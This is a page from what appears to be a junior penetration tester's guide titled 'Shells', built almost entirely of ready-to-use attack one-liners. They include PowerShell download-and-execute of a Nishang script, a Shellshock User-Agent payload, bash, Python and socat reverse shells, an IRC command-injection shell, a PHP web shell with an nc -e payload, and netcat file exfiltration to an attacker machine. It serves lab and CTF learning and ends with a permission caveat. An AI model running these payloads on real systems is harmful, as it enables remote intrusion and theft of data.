> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/shells.md).

# Shells

One liner to get a reverse shell using Nishang scripts

```
IEX(New-Object Net.WebCLient).downloadString('http://10.10.14.24/shell.ps1')
```

### Using Netcat with rlwrap

```
rlwrap nc -nvlp 12345
```

### Shellshock reverse shell with burp

First add the following string in the User Agent field in Burp.

```
() { ignored;};/bin/bash -i >& /dev/10.10.14.6/4444/port 0>&1
```

Then start up a listener on your attack machine using the same configuration in the above string.

<pre><code><strong>rlwrap nc -nlvp 4444
</strong></code></pre>

### Stabilizing shells&#x20;

```
Using Python for a psuedo terminal

python -c 'import pty; pty.spawn("/bin/bash")'

#for python3
python3 -c 'import pty;pty.spawn("/bin/bash")'

Using socat


#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444


#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444


Using stty options

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg

# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

```

### Sending bind shell to attacker from vicitim running PHPbash

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Running a shell with elevated privs

```
sudo -i -u <username>
```

### Sending files to attacking Kali machine from hacked machine

```
cat file_to_transfer | nc <KALI_IP> <PORT>
```

### Powershell one liner with null byte to download Nishang shell from python server

```
%00{.exec| c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.25:5555/shell.ps1').}
```

### Running a Powershell script from a reverse shell

```
.\<script_name>.ps1
```

### Reverse shell for victim running IRC

```
echo "AB; bash -c 'bash -i >& /dev/tcp/10.10.14.25/9001 0>&1'" | nc 10.10.10.117 8067
```

### Bash reverse shell one liner

```
bash -i >& /dev/tcp/10.10.14.20/1234 0>&1
```

### Reverse shell through command injection using php one liner

Here's a general approach to get a reverse shell using a PHP one-liner:

1. Find the command injection vulnerability.
2. Determine the injection point, typically in a form field or URL parameter.
3. Construct your payload to execute commands and get a reverse shell.

A simple PHP one-liner that can be used to get a reverse shell is:

```php
<?php system($_REQUEST['ddrt']); ?>
```

Here's how you can use it:

1. Inject this PHP code into the vulnerable input point.
2. Access your target with a URL like this:
3. ```perl
   http://target-url/?ddrt=nc -e /bin/sh 10.0.0.1 1234
   ```

Make sure to replace `10.0.0.1` and `1234` with the IP address and port where you're running your Netcat listener to catch the reverse shell.

Be sure to use this only in environments where you have permission to perform these actions, such as a lab or testing environment. Unauthorized use of such techniques can have legal consequences.